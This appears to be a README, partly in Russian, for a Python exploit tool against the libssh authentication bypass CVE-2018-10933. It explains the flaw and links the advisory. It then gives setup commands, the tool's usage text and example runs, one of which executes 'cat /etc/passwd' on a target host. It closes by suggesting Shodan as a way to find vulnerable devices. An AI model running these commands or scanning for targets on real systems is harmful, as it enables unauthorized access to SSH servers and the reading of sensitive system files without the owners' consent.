
libSSH-Authentication-Bypass
Уязвимость была найдена в серверной части конечного автомата libssh до версий 0.7.6 и 0.8.4. Злонамеренный клиент может создавать каналы без предварительной аутентификации, что приводит к несанкционированному доступу.
Проблема связана с тем, что libssh не поддерживает состояние аутентификации, и это можно использовать для обхода аутентификации. По сути, представьте соединение как многошаговый процесс: шаг1, шаг2, шаг3... Поскольку libssh не контролирует порядок шагов, вы можете сразу перейти к шагу3, минуя шаг1 и шаг2.
Интересно, что аналогичная проблема была ранее обнаружена в SSH-библиотеке Paramiko: CVE-2018-7750.
Exploit-DB : https://www.exploit-db.com/exploits/45638
Информация о CVE-2018-10933 от libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Релиз с исправлением ошибок от libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
